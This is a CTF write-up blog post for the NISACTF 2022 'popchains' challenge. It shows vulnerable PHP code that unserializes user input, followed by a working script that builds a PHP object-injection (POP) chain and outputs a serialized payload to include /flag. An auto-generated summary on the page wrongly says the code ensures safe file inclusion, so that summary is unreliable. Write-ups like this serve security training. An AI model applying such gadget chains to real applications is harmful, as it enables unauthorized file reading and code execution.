[NISACTF 2022]popchains

最新推荐文章于 2024-12-23 23:19:09 发布

丸子丸子鱼

最新推荐文章于 2024-12-23 23:19:09 发布

阅读量276

点赞数

分类专栏： nssctf 文章标签： php 开发语言网络安全

本文链接：https://blog.youkuaiyun.com/kuzemax/article/details/130455088

版权

nssctf 专栏收录该内容

14 篇文章

订阅专栏

该PHP代码段展示了如何处理GET请求中的wish参数，并涉及到类的序列化与反序列化。在新年主题下，代码通过类的构造函数和魔术方法来确保文件包含操作的安全性，同时提及了尝试访问flag.php的潜在情景。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

<?php
class Road_is_Long{
    public $page;
    public $string; 
}
class Try_Work_Hard{
    protected  $var="/flag"; 
}
class Make_a_Change{
    public $effort; 
}

$a=new Road_is_Long;
$a->page=new Road_is_Long;
$a->page->string=new Make_a_Change;
$a->page->string->effort=new Try_Work_Hard;

echo urlencode(serialize($a));

?>